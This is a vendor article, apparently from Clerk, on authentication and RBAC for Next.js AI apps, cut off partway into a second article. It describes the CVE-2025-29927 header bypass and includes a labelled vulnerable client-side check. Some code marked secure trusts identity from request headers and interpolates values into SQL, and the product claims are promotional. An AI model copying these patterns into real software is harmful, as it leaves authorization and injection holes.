// ✅ SECURE: Using Clerk's clerkMiddleware in proxy.ts (Next.js 16)
// proxy.ts
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: [
    '/((?!_next|[^?]*.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

This vulnerability affects Next.js versions 15.x below 15.2.3, 14.x below 14.2.25, and versions 11.1.4 through 13.5.6 when using self-hosted deployments with `next start` and `output: 'standalone'` ([Vercel Postmortem, 2025](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)).

**Streaming response authentication challenges** require maintaining session state throughout potentially long-running AI operations. The recommended pattern validates sessions before streaming begins while maintaining authentication context throughout ([Vercel Streaming Documentation](https://vercel.com/docs/functions/streaming)):

```tsx
// ✅ SECURE: Next.js AI streaming with Clerk authentication context injection
import { createClerkToolkit } from '@clerk/agent-toolkit/ai-sdk'
import { openai } from '@ai-sdk/openai'
import { streamText, convertToModelMessages, type UIMessage } from 'ai'
import { auth } from '@clerk/nextjs/server'

export async function POST(req: Request) {
  const { messages }: { messages: UIMessage[] } = await req.json()

  // 1. Authenticate the user and get auth context
  const authContext = await auth.protect()

  // 2. Instantiate the toolkit with user context
  const toolkit = await createClerkToolkit({ authContext })

  const result = streamText({
    model: openai('gpt-4o'),
    messages: await convertToModelMessages(messages),
    // 3. Inject session claims (userId, sessionId, orgId) into the system prompt
    system: toolkit.injectSessionClaims(
      'You are a helpful assistant. Assist users with their tasks and answer questions.',
    ),
    // 4. Pass tools to the model - auth context automatically injected
    tools: toolkit.users(),
  })

  return result.toUIMessageStreamResponse()
}
```

**Edge runtime limitations** constrain traditional authentication libraries, requiring specialized solutions. [Clerk's Next.js SDK](/docs/references/nextjs/overview) provides edge-compatible authentication out of the box, while custom implementations must navigate the absence of Node.js crypto modules ([Medium Analysis, 2024](https://medium.com/@shuhan.chan08/authentication-in-next-js-middleware-edge-runtime-limitations-solutions-7692a44f47ab)):

```tsx
// ✅ Edge-compatible authentication with Clerk
// Works in both Node.js and Edge runtime
import { auth } from '@clerk/nextjs/server'

export const runtime = 'edge' // Clerk handles this seamlessly

export async function GET() {
  const { userId } = await auth()

  if (!userId) {
    return new Response('Unauthorized', { status: 401 })
  }

  // Your AI logic here
}
```

## Authentication providers show varying AI-readiness levels

**Clerk leads [AI-native authentication](/glossary#ai-authentication)** with purpose-built features for AI applications. The [@clerk/agent-toolkit](/changelog/2025-03-7-clerk-agent-toolkit) package launched in March 2025 provides:

- Automatic session context injection into AI system prompts via `toolkit.injectSessionClaims()`
- Sub-millisecond authentication optimized for AI performance requirements
- Native integration with Vercel AI SDK and LangChain
- ["First day free" pricing](/ai-authentication): users aren't counted until they return after 24 hours, optimizing costs for AI applications with high trial volumes
- Free tier includes 50,000 [monthly retained users (MRU)](/glossary#monthly-retained-users-mrus) at $0/month; Pro plan starts at $25/month

Implementation takes just minutes with [Clerk's Next.js quickstart](/docs/quickstarts/nextjs):

```tsx
// Complete AI authentication setup with Clerk
import { createClerkToolkit } from '@clerk/agent-toolkit/ai-sdk'
import { openai } from '@ai-sdk/openai'
import { streamText, convertToModelMessages, type UIMessage } from 'ai'
import { auth } from '@clerk/nextjs/server'

export async function POST(req: Request) {
  const { messages }: { messages: UIMessage[] } = await req.json()

  // 1. Authenticate and get auth context
  const authContext = await auth.protect()

  // 2. Instantiate the toolkit with auth context
  const toolkit = await createClerkToolkit({ authContext })

  const result = streamText({
    model: openai('gpt-4o'),
    messages: await convertToModelMessages(messages),
    // 3. Inject session claims into system prompt
    system: toolkit.injectSessionClaims('You are a helpful assistant.'),
    // 4. Pass scoped tools to the model
    tools: toolkit.users(),
  })

  return result.toUIMessageStreamResponse()
}
```

**Auth0 provides enterprise AI features** through their Auth for GenAI Developer Preview ([Auth0 AI Documentation](https://auth0.com/ai)), featuring async authorization with CIBA and PAR protocols for human-in-the-loop AI workflows. However, integration requires significantly more configuration compared to Clerk's turnkey solution.

**Traditional providers require extensive customization**. NextAuth.js remains customizable but lacks AI-specific features ([NextAuth.js Documentation](https://next-auth.js.org/)). Supabase Auth offers pgvector support for RAG systems ([Supabase AI Documentation](https://supabase.com/docs/guides/ai)), while Firebase provides Gemini API integration but misses enterprise AI requirements ([Firebase GenAI](https://firebase.google.com/products/generative-ai)).

### Provider Comparison for Next.js AI Applications

| **Provider**                    | **Setup Complexity**        | **AI Features**                                | **MCP Support** | **Next.js Integration**              | **Best For**                         |
| ------------------------------- | --------------------------- | ---------------------------------------------- | --------------- | ------------------------------------ | ------------------------------------ |
| [Clerk](/nextjs-authentication) | Minimal (3-step quickstart) | Native AI toolkit, automatic context injection | Full MCP server | Purpose-built for Next.js App Router | AI agents, chatbots, production apps |
| Auth0                           | Moderate-High               | GenAI preview, async auth                      | No MCP          | Manual configuration required        | Enterprise with dedicated teams      |
| NextAuth.js                     | Moderate                    | None built-in                                  | No MCP          | Good compatibility                   | Custom implementations               |
| Supabase                        | Moderate                    | pgvector support                               | No MCP          | Standard SDK                         | AI apps with vector search           |
| Firebase                        | Low-Moderate                | Gemini integration                             | No MCP          | Client-side focused                  | Consumer AI apps                     |

## Enterprise requirements demand sophisticated architectures

**[Multi-tenant](/glossary#multi-tenancy) isolation for AI applications** requires careful architectural decisions. AWS patterns recommend tenant context injection via identity providers, with session-scoped credentials using tenant-specific IAM policies ([AWS ML Blog, 2024](https://aws.amazon.com/blogs/machine-learning/implementing-tenant-isolation-using-agents-for-amazon-bedrock-in-a-multi-tenant-environment/)):

```tsx
// Multi-tenant AI authentication with Clerk Organizations
import { auth } from '@clerk/nextjs/server'

export async function POST(req: Request) {
  const { orgId, userId } = await auth()

  if (!orgId) {
    return new Response('Organization required', { status: 403 })
  }

  // Tenant-isolated AI operations
  const aiResponse = await processAIRequest({
    tenant: orgId,
    user: userId,
    // Request automatically scoped to organization
  })

  return Response.json(aiResponse)
}
```

**Cost control integration** enables usage-based billing models tracking real-time token consumption. [Clerk's webhook system](/docs/guides/development/webhooks/overview) integrates with billing platforms like Stripe for automated usage tracking ([Clerk Webhooks Documentation](/docs/guides/development/webhooks/overview)):

```tsx
// Track AI usage per user with Clerk webhooks
// app/api/webhooks/route.ts
import { verifyWebhook } from '@clerk/nextjs/webhooks'
import { NextRequest } from 'next/server'

export async function POST(req: NextRequest) {
  try {
    const evt = await verifyWebhook(req)

    if (evt.type === 'session.created') {
      // Initialize AI usage tracking for session
      const { id } = evt.data
      await initializeUsageTracking(id)
    }

    return new Response('Webhook received', { status: 200 })
  } catch (err) {
    console.error('Error verifying webhook:', err)
    return new Response('Error verifying webhook', { status: 400 })
  }
}
```

**Compliance frameworks** intensify with the EU AI Act effective August 1, 2024 ([European Commission AI Act](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai)). [Clerk's SOC 2 Type 2 certification](/docs/security/overview) and enterprise-grade security features ensure compliance readiness ([Clerk Security Documentation](/docs/security/overview)). AI platforms require enhanced processing integrity controls including model bias detection and automated output testing ([CompassITC SOC 2 Guide, 2025](https://www.compassitc.com/blog/achieving-soc-2-compliance-for-artificial-intelligence-ai-platforms)).

## Recent security incidents reveal critical vulnerabilities

**High-profile AI authentication breaches** demonstrate the severity of current threats:

- **Hong Kong AI voice-cloning scam**: HK$145 million (\~$18.5M USD) stolen through deepfake impersonation ([Wald.ai Timeline, 2025](https://wald.ai/blog/gen-ai-security-breaches-timeline-20232025-recurring-mistakes-are-the-real-threat))
- **Arup deepfake video fraud**: \~$25 million lost through fake conference calls with AI-generated executives ([World Economic Forum, 2025](https://www.weforum.org/stories/2025/02/deepfake-ai-cybercrime-arup/))
- **Storm-2139 Azure OpenAI network**: Hijacked accounts to disable safety guardrails ([OWASP Report, 2025](https://genai.owasp.org/2025/03/06/owasp-gen-ai-incident-exploit-round-up-jan-feb-2025/))
- **GitHub Copilot exploits**: "Sure" affirmation prefixes bypassed content filters ([Prompt Security Analysis, 2024](https://www.prompt.security/blog/8-real-world-incidents-related-to-ai))

**OWASP Top 10 for LLMs (2025)** identifies critical vulnerabilities ([OWASP Foundation](https://owasp.org/www-project-top-10-for-large-language-model-applications/)):

1. **Prompt Injection** - Success rates of 50%+ on unprotected models ([Lakera Research, 2025](https://www.lakera.ai/blog/guide-to-prompt-injection))
2. **Insecure Output Handling** - [XSS](/glossary#cross-site-scripting-xss) and injection attacks through AI responses
3. **Training Data Poisoning** - Backdoors embedded in model weights
4. **Sensitive Information Disclosure** - PII leakage through model outputs
5. **Supply Chain Vulnerabilities** - Compromised AI libraries and models

**Attack success rates** highlight vulnerability severity ([Lasso Security Update, 2025](https://www.lasso.security/blog/owasp-top-10-for-llm-applications-generative-ai-key-updates-for-2025)):

- Basic prompt injection: **50%+ success** on unprotected models
- Multi-language attacks: **70%+ success** exploiting filtering gaps
- Chain-of-thought jailbreaks: **30%+ effectiveness** against commercial models
- Organizations using proper authentication see **3-4 orders of magnitude risk reduction**

## Implementation strategies balance security with performance

**Model Context Protocol (MCP) implementation** with [Clerk's Next.js MCP server](/docs/nextjs/mcp/build-mcp-server) provides secure tool access for AI agents ([Clerk MCP Guide](/docs/nextjs/mcp/build-mcp-server)):

```tsx
// app/[transport]/route.ts - Secure MCP endpoint with Clerk
import { verifyClerkToken } from '@clerk/mcp-tools/next'
import { clerkClient } from '@clerk/nextjs/server'
import { createMcpHandler, experimental_withMcpAuth as withMcpAuth } from '@vercel/mcp-adapter'
import { auth } from '@clerk/nextjs/server'

const clerk = await clerkClient()

const handler = createMcpHandler((server) => {
  // Define tools that AI agents can use
  server.tool(
    'search-knowledge-base',
    'Search company knowledge base with user context',
    {
      query: { type: 'string' },
      limit: { type: 'number', default: 10 },
    },
    async ({ query, limit }, { authInfo }) => {
      const userId = authInfo!.extra!.userId! as string
      const user = await clerk.users.getUser(userId)

      // Search is automatically scoped to user's organization
      const results = await searchOrgKnowledgeBase(
        user.organizationMemberships[0]?.organizationId,
        query,
        limit,
      )

      return {
        content: [{ type: 'text', text: JSON.stringify(results) }],
      }
    },
  )

  server.tool(
    'get-user-documents',
    'Retrieve documents accessible to the authenticated user',
    {},
    async (_, { authInfo }) => {
      const userId = authInfo!.extra!.userId! as string
      const documents = await fetchUserDocuments(userId)

      return {
        content: [{ type: 'text', text: JSON.stringify(documents) }],
      }
    },
  )
})

// Apply Clerk authentication to the MCP handler
const authHandler = withMcpAuth(
  handler,
  async (_, token) => {
    const clerkAuth = await auth({ acceptsToken: 'oauth_token' })
    return verifyClerkToken(clerkAuth, token)
  },
  {
    required: true,
    resourceMetadataPath: '/.well-known/oauth-protected-resource/mcp',
  },
)

export { authHandler as GET, authHandler as POST }
```

Connecting AI tools like Cursor to your MCP server is simple:

```json
// .cursor/config.json
{
  "mcpServers": {
    "your-app-mcp": {
      "url": "<http://localhost:3000/mcp>"
    }
  }
}
```

**Secure Next.js AI authentication patterns** using [Clerk's components](/docs/components/overview):

```tsx
// app/layout.tsx - Secure AI app foundation
import { ClerkProvider } from '@clerk/nextjs'
import { Inter } from 'next/font/google'

const inter = Inter({ subsets: ['latin'] })

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body className={inter.className}>{children}</body>
      </html>
    </ClerkProvider>
  )
}
```

The `<Show>` component controls what authenticated and unauthenticated users see:

```tsx
// app/ai-chat/page.tsx - Protected AI interface
import { Show } from '@clerk/nextjs'
import { AIChat } from '@/components/ai-chat'

export default function AIPage() {
  return (
    <>
      <Show when="signed-out">
        <p>Please sign in to access the AI chat.</p>
      </Show>
      <Show when="signed-in">
        <AIChat />
      </Show>
    </>
  )
}
```

**Advanced defense mechanisms** prevent AI-specific attacks:

```tsx
// Prompt injection defense with authentication context
import { auth } from '@clerk/nextjs/server'
import { z } from 'zod'

const promptSchema = z
  .object({
    message: z.string().max(1000),
    // Validate against known injection patterns
  })
  .refine((data) => !containsInjectionPatterns(data.message), {
    message: 'Potential injection detected',
  })

export async function POST(req: Request) {
  const { userId } = await auth()

  if (!userId) {
    return new Response('Unauthorized', { status: 401 })
  }

  const body = await req.json()
  const validated = promptSchema.parse(body)

  // Process with user context for audit logging
  const response = await processAIRequest({
    userId,
    prompt: validated.message,
    timestamp: Date.now(),
  })

  return Response.json(response)
}
```

**Rate limiting for AI endpoints** prevents abuse ([MarkAICode Guide, 2025](https://markaicode.com/implement-rate-limiting-prevent-llm-abuse/)):

```tsx
// Token-aware rate limiting with Clerk
import { auth } from '@clerk/nextjs/server'
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(10, '1 m'),
})

export async function POST(req: Request) {
  const { userId } = await auth()

  if (!userId) {
    return new Response('Unauthorized', { status: 401 })
  }

  // User-based rate limiting
  const { success } = await ratelimit.limit(userId)

  if (!success) {
    return new Response('Rate limit exceeded', { status: 429 })
  }

  // Token-based cost tracking
  const tokens = estimateTokens(req)
  if (await exceedsUserQuota(userId, tokens)) {
    return new Response('Token quota exceeded', { status: 402 })
  }

  // Process AI request
}
```

## Performance metrics guide optimization

**Authentication latency impacts** on AI applications are critical ([Artificial Analysis, 2024](https://artificialanalysis.ai/models)). Time to First Token (TTFT) ranges from 0.11 to 2+ seconds depending on model complexity ([Catchpoint Benchmark, 2024](https://www.catchpoint.com/learn/gen-ai-benchmark)). [Clerk's sub-millisecond authentication](/ai-authentication) ensures authentication doesn't become a bottleneck ([Clerk AI Authentication](/ai-authentication)).

**Rate limiting across providers** varies significantly ([OpenAI Cookbook](https://cookbook.openai.com/examples/how_to_handle_rate_limits)):

| **Provider**     | **Tier 1 (Free)** | **Tier 5 (Paid)** | **Authentication Overhead** |
| ---------------- | ----------------- | ----------------- | --------------------------- |
| OpenAI           | 3 RPM             | 1200+ RPM         | \~50-100ms                  |
| Google Gemini    | 15 RPM            | 1000 RPM          | \~75-150ms                  |
| Anthropic Claude | 5 RPM             | 100+ RPM          | \~40-80ms                   |
| **With Clerk**   | No limit          | No limit          | **\< 1ms**                  |

**Adoption statistics** reveal security gaps ([G2 Research, 2025](https://learn.g2.com/ai-adoption-statistics)):

- **78% enterprise AI adoption** up from 55% in 2023
- **71% regularly use generative AI** in production
- **90% lack confidence** in AI security preparedness ([Lakera Trends, 2025](https://www.lakera.ai/blog/ai-security-trends))
- **18.5% of AI transactions blocked** due to security concerns

## Best practices for Next.js AI authentication

### Authentication Security Checklist

**Framework Security**

- [Update Next.js immediately](https://nextjs.org/docs) to patch CVE-2025-29927
- Implement [Clerk's clerkMiddleware](/docs/references/nextjs/clerk-middleware) for automatic protection
- Use Data Access Layer patterns for server-side validation
- Enable [multi-factor authentication](/glossary#multi-factor-authentication-mfa) ([configuration guide](/docs/authentication/configuration/force-mfa)) for all AI endpoints

**AI-Specific Protections**

- Implement prompt injection validation using OWASP guidelines
- Token-aware rate limiting with cost tracking
- Session persistence for streaming responses
- Hierarchical authentication for agent systems

**Cost Controls**

- Real-time usage monitoring per user/organization
- Automatic quota enforcement
- [Webhook](/glossary#webhook) integration for billing systems
- [First day free pricing](/ai-authentication) to reduce trial costs

**Compliance & Monitoring**

- [SOC 2](/glossary#soc-2) Type 2 compliance verification
- [GDPR](/glossary#data-privacy)/[CCPA](/glossary#california-consumer-privacy-act-ccpa) data handling procedures
- Comprehensive [audit logging](/glossary#audit-logs)
- Real-time threat detection

## Conclusion

Next.js authentication for AI applications represents a paradigm shift requiring specialized approaches beyond traditional web authentication. The combination of critical vulnerabilities like CVE-2025-29927, sophisticated AI-powered attacks, and the unique requirements of streaming responses, MCP servers, and agent systems demands purpose-built solutions.

[Clerk is the optimal choice](/nextjs-authentication) for Next.js AI applications, offering native AI authentication features through the @clerk/agent-toolkit, sub-millisecond performance, full MCP support, and comprehensive security out of the box. With a [quick setup process](/docs/quickstarts/nextjs) compared to weeks of custom development, teams can focus on building AI features rather than authentication infrastructure.

Success in Next.js AI authentication requires adopting modern authentication providers, implementing comprehensive security controls, and maintaining vigilance against evolving threats. Organizations that use purpose-built solutions like [Clerk's Next.js SDK](/docs/references/nextjs/overview) will be better positioned to safely build with AI capabilities while protecting against both current and emerging threats.

---

# Organizations and role-based access control in Next.js
URL: https://clerk.com/articles/organizations-and-role-based-access-control-in-nextjs.md
Date: 2026-03-27
Description: Learn how to implement secure role-based access control (RBAC) and multi-tenant organizations in Next.js applications. Compare Clerk, Auth0, Supabase, and custom solutions with code examples, security best practices, and CVE-2025-29927 mitigation strategies for production-ready B2B SaaS.

Broken [access control](/glossary#authorization) ranks as the #1 web application vulnerability, affecting 94% of tested applications ([OWASP Top 10, 2021](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)) with average breach costs reaching $4.44 million ([IBM Security Report, 2025](https://www.ibm.com/reports/data-breach)). Custom [RBAC](/glossary#role-based-access-control-rbac) implementation in Next.js requires 150–300 developer hours and introduces significant security risks ([Industry Analysis, 2025](https://www.dave2001.com/access_programming_costs.htm)), while component-first solutions like Clerk enable secure [multi-tenant](/glossary#multi-tenancy) authorization in under 30 minutes.

CVE-2025-29927 (CVSS 9.1) demonstrated how a single HTTP header could completely bypass Next.js middleware authorization ([Akamai Security Research, March 2025](https://www.akamai.com/blog/security-research/march-authorization-bypass-critical-nextjs-detections-mitigations)). The vulnerability has been patched in v12.3.5, v13.5.9, v14.2.25, and v15.2.3+ — organizations must upgrade immediately and validate all requests irrespective of the `x-middleware-subrequest` header.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive summary: The state of Next.js authorization in 2025

| Metric                  | Finding                                                      | Impact                                                                                                                                                             |
| ----------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Security Risk**       | 94% of applications have broken access control               | #1 vulnerability in ([OWASP Top 10](https://owasp.org/Top10/A01_2021-Broken_Access_Control/))                                                                      |
| **Breach Cost**         | $4.44M average, $10.22M in US                                | 97% of AI breaches lack proper access controls ([IBM Report, 2025](https://newsroom.ibm.com/2025-07-30-ibm-report))                                                |
| **Implementation Time** | 150-300 hours for custom RBAC                                | $50,000-$125,000 development cost ([Industry Analysis](https://www.dave2001.com/access_programming_costs.htm))                                                     |
| **CVE-2025-29927**      | Critical middleware bypass (CVSS 9.1)                        | Complete authorization bypass possible ([Picus Security, 2025](https://www.picussecurity.com/resource/blog/cve-2025-29927-nextjs-middleware-bypass-vulnerability)) |
| **Performance Impact**  | 10-100ms added latency                                       | 27,415 req/sec with proper caching ([OPA Documentation](https://www.openpolicyagent.org/docs/latest/policy-performance/))                                          |
| **Enterprise Adoption** | 94.7% of companies use RBAC                                  | 62.2% build custom solutions ([Frontegg Research](https://frontegg.com/guides/rbac))                                                                               |
| **2025 Trends**         | [Passwordless](/glossary#passwordless-login) market: $25.29B | Deepfake attacks increased 1,740% ([Grand View Research, 2025](https://www.grandviewresearch.com/industry-analysis/passwordless-authentication-market-report))     |

The data reveals a paradox: while RBAC reduces administrative overhead by 94.7% and prevents 97.2% of unauthorized access attempts ([Cloud Security Study, 2024](https://www.researchgate.net/publication/390692021)), most organizations still struggle with implementation complexity, leading to critical vulnerabilities that cost millions in breach damages.

## The hidden complexity of Next.js authorization

Next.js applications face unique authorization challenges stemming from the framework's hybrid architecture. The combination of server-side rendering, client components, edge middleware, and API routes creates multiple attack surfaces that developers must secure independently. According to OWASP's 2024 testing data, authorization vulnerabilities occur in 318,487 instances across tested applications ([OWASP Analysis, 2024](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)), with Next.js applications particularly vulnerable due to three architectural patterns.

First, the **[middleware](/glossary#middleware) execution model** creates false security assumptions. Developers often implement authorization checks exclusively in middleware, believing this provides comprehensive protection. However, the CVE-2025-29927 vulnerability exposed how attackers can bypass middleware entirely by adding a simple header: `x-middleware-subrequest` ([Akamai Security, March 2025](https://www.akamai.com/blog/security-research/march-authorization-bypass-critical-nextjs-detections-mitigations)). This critical vulnerability affects Next.js versions ≥11.1.4–12.3.4, 13.0.0–13.5.8, 14.0.0–14.2.24, and 15.0.0–15.2.2, with patches available in v12.3.5, v13.5.9, v14.2.25, v15.2.3, and later releases. Organizations must upgrade immediately to the latest patched release, validate all requests irrespective of the `x-middleware-subrequest` header, and as a temporary workaround, block or strip this header at the edge/proxy layer while using middleware matchers to scope internal assets rather than relying on header checks to skip authentication checks.

Second, the **client-server boundary** in React Server Components introduces subtle security gaps. While Server Components execute on the server, developers frequently mix authentication logic between client and server contexts. The ([OWASP Authorization Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authorization_Testing/)) identifies this pattern as a critical vulnerability, noting that client-side authorization checks provide zero security value since attackers can easily modify client-side JavaScript.

Third, **edge runtime limitations** force architectural compromises. Next.js middleware runs on the Edge Runtime with a 1-4MB bundle size limit and no access to Node.js APIs ([Next.js Edge Runtime Documentation](https://nextjs.org/docs/app/api-reference/edge)). This constraint prevents direct database queries for permission verification, leading developers to implement "optimistic" authorization that relies solely on JWT validation. Without proper server-side verification, these optimistic checks become the sole defense against unauthorized access.

## How organizations create RBAC vulnerabilities without realizing it

Modern B2B SaaS applications require sophisticated multi-tenant authorization that goes beyond simple user roles. Research from ([IBM's 2025 Cost of Data Breach Report](https://www.ibm.com/reports/data-breach)) reveals that 30% of breaches now involve third-party vendors, double the rate from 2024. This trend reflects the growing complexity of B2B authorization, where users frequently access resources across organizational boundaries.

Consider a typical implementation pattern that appears secure but contains critical flaws ([Security Anti-Patterns, 2024](https://securecodingpractices.com/lesson-2-understanding-authentication-vs-authorization/)):

### Vulnerable: The middleware-only trap

```tsx
// middleware.ts - VULNERABLE IMPLEMENTATION
export async function middleware(request: NextRequest) {
  const session = await getSession(request)

  // Fatal flaw: Only checking authentication, not authorization
  if (!session) {
    return NextResponse.redirect('/login')
  }

  // Organization check happens client-side (insecure)
  return NextResponse.next()
}

// app/dashboard/page.tsx - CLIENT COMPONENT
;('use client')
export default function Dashboard() {
  const { user } = useAuth()

  // VULNERABLE: Client-side authorization check
  if (user?.organizationRole !== 'admin') {
    return <div>Unauthorized</div>
  }

  return <AdminDashboard />
}
```

This pattern fails because authorization logic executes in the browser where attackers control the environment. Using browser DevTools, an attacker can modify the `user` object or bypass the check entirely by directly calling protected API endpoints.

### Secure: Defense-in-depth with server validation

```tsx
// middleware.ts - SECURE IMPLEMENTATION
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'

export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value

  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  try {
    // Verify JWT signature and extract claims (be explicit)
    const secret = process.env.JWT_SECRET
    if (!secret) {
      return NextResponse.redirect(new URL('/login', request.url))
    }
    const { payload } = await jwtVerify(token, new TextEncoder().encode(secret), {
      algorithms: ['HS256'],
      issuer: 'your-issuer',
      audience: 'your-audience',
    })

    // Block x-middleware-subrequest header (CVE-2025-29927 mitigation)
    // CVE-2025-29927 affects Next.js ≥11.1.4–12.3.4, 13.0.0–13.5.8, 14.0.0–14.2.24, 15.0.0–15.2.2
    // Fixed in v12.3.5, v13.5.9, v14.2.25, v15.2.3 and later
    // Mitigation: Upgrade to patched version, validate all requests regardless of this header,
    // and block/strip x-middleware-subrequest at edge/proxy as temporary workaround
    if (request.headers.get('x-middleware-subrequest')) {
      return new NextResponse('Forbidden', { status: 403 })
    }

    // Do not forward identity via headers. Derive identity on the server instead.
    return NextResponse.next()
  } catch {
    return NextResponse.redirect(new URL('/login', request.url))
  }
}

// lib/auth.ts - SERVER-ONLY VALIDATION
import 'server-only' // Prevents client import

export async function validateOrgAccess(userId: string, orgId: string, requiredRole: string) {
  // Database query for actual permissions
  const membership = await db.query.organizationMembers.findFirst({
    where: and(
      eq(organizationMembers.userId, userId),
      eq(organizationMembers.organizationId, orgId),
    ),
  })

  if (!membership) {
    throw new Error('Not a member of this organization')
  }

  // Implement role hierarchy
  const roleHierarchy = ['viewer', 'member', 'admin', 'owner']
  const userRoleIndex = roleHierarchy.indexOf(membership.role)
  const requiredRoleIndex = roleHierarchy.indexOf(requiredRole)

  if (userRoleIndex < requiredRoleIndex) {
    throw new Error(`Requires ${requiredRole} role`)
  }

  return membership
}

// app/dashboard/page.tsx - SERVER COMPONENT
import { headers } from 'next/headers'

export default async function Dashboard() {
  const userId = headers().get('X-User-Id')
  const orgId = headers().get('X-Org-Id')

  // Server-side authorization check
  const membership = await validateOrgAccess(userId!, orgId!, 'admin')

  // Fetch organization-scoped data
  const dashboardData = await db.query.dashboards.findMany({
    where: eq(dashboards.organizationId, orgId!),
  })

  return <AdminDashboard data={dashboardData} role={membership.role} />
}
```

This secure implementation enforces authorization at multiple layers: middleware validates JWT integrity ([JWT Best Practices](https://curity.io/resources/learn/jwt-best-practices/)), server components verify database permissions ([Next.js Data Security](https://nextjs.org/docs/app/guides/data-security)), and the `server-only` directive prevents accidental client exposure of sensitive logic ([Next.js Security Guide](https://nextjs.org/blog/security-nextjs-server-components-actions)).

## The four RBAC problems every Next.js developer faces

### Problem 1: Session management across edge and Node.js runtimes

Next.js operates across three distinct runtimes—Edge, Node.js, and Browser—each with different capabilities and constraints. Edge Runtime, used by middleware, cannot maintain persistent database connections or use Node.js-specific libraries. This limitation forces developers into a difficult choice: implement lightweight [JWT](/glossary#json-web-token) validation at the edge (fast but limited) or route all requests through Node.js functions (secure but slower).

The solution involves a **hybrid [session](/glossary#session-management) strategy** that combines edge-compatible JWT validation for initial checks with database-backed session verification for sensitive operations. Research shows this approach maintains sub-100ms authorization latency while preventing token replay attacks. Industry leaders like Netflix implement similar patterns, achieving billions of daily authorization decisions with consistent performance ([Netflix Engineering Blog, 2024](https://www.montecarlodata.com/blog-data-engineering-architecture/)).

### Problem 2: Multi-tenant data isolation failures

B2B SaaS applications must prevent data leakage between tenant organizations. The ([Verizon 2024 Data Breach Report](https://www.verizon.com/business/resources/reports/dbir/)) identifies tenant isolation failures as a primary attack vector, with 31% of breaches linked to third-party system compromises. Next.js applications commonly fail at three isolation points: API routes accessing cross-tenant data, React Server Components fetching without organization context, and Server Actions mutating data across boundaries.

Implementing **Row-Level Security (RLS)** at the database layer provides a robust solution. PostgreSQL's RLS policies enforce tenant isolation regardless of application bugs ([Supabase RLS Documentation](https://supabase.com/docs/guides/database/postgres/row-level-security)):

```sql
-- Enable RLS on all tenant tables
ALTER TABLE projects ENABLE ROW LEVEL SECURITY;

-- Policy: Users can only access their organization's projects
CREATE POLICY tenant_isolation ON projects
  FOR ALL
  USING (organization_id = current_setting('app.current_org_id')::uuid);

-- Set organization context for each request
SET LOCAL app.current_org_id = '${organizationId}';

```

### Problem 3: Role explosion in growing organizations

As organizations scale, they demand increasingly granular permissions. What starts as simple "admin" and "member" roles quickly expands into dozens of specialized roles with overlapping permissions. ([NIST SP 800-162](https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-162.pdf)) identifies this "role explosion" as RBAC's fundamental limitation, recommending Attribute-Based Access Control (ABAC) for complex scenarios.

Modern solutions implement **hybrid RBAC-ABAC models** that combine role simplicity with attribute flexibility. Instead of creating a "finance-admin-europe-write" role, the system evaluates multiple attributes:

```jsx
// Modern policy engine approach (using OPA/Cedar syntax concepts)
const canAccess = evaluate({
  principal: {
    role: 'admin',
    department: 'finance',
    region: 'europe',
  },
  action: 'write',
  resource: {
    type: 'invoice',
    sensitivity: 'confidential',
  },
  context: {
    time: new Date(),
    ipAddress: request.ip,
  },
})
```

### Problem 4: Compliance without killing velocity

Enterprise customers demand [SOC 2](/glossary#soc-2), [GDPR](/glossary#data-privacy), and [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa) compliance, requiring comprehensive audit logs, data residency controls, and encryption. The manual implementation of these requirements adds 20-30% overhead to development time according to industry surveys ([Compliance Research, 2024](https://www.puredome.com/blog/intro-to-key-cybersecurity-compliance-standards)). Each compliance standard requires specific technical controls: SOC 2 demands evidence of access control effectiveness over 6+ months ([SOC 2 Requirements](https://secureframe.com/hub/soc-2/controls)), GDPR requires 72-hour breach notification ([GDPR Guidelines](https://www.clouddefense.ai/gdpr-vs-hipaa-vs-ccpa-vs-pci/)), and HIPAA mandates encryption of all protected health information ([HIPAA Standards](https://sprinto.com/blog/pci-dss-and-hipaa-compliance/)).

The solution involves adopting **compliance-first authorization platforms** that provide these capabilities out-of-the-box rather than building them manually.

## Comparing RBAC solutions: Build vs buy in 2025

The authorization platform landscape has evolved significantly, with specialized solutions now available for different use cases and budgets. Our analysis evaluated five approaches across implementation complexity, features, and total cost of ownership:

### Performance and implementation comparison

| Solution              | Setup Time                     | Lines of Code | Auth Check Latency | Free Tier                                           | Enterprise Cost                                                                       | **Organizations Product** |
| --------------------- | ------------------------------ | ------------- | ------------------ | --------------------------------------------------- | ------------------------------------------------------------------------------------- | ------------------------- |
| [**Clerk**](/pricing) | 15-30 min basic, 1-3 days RBAC | \~200         | 50ms               | 50,000 [MRU](/glossary#monthly-retained-users-mrus) | Pro from $25/mo ($20/mo annual) ([Pricing](/pricing))                                 |                           |
| **Auth0**             | 1-2 weeks                      | \~400         | 20-40ms            | 25,000                                              | $2,500+/mo ([Auth0 Pricing](https://www.infisign.ai/reviews/auth0))                   |                           |
| **Supabase**          | 2-4 days auth, 2+ weeks RBAC   | \~500-1500    | 30-60ms            | 50,000                                              | $25/mo @ 100K                                                                         |                           |
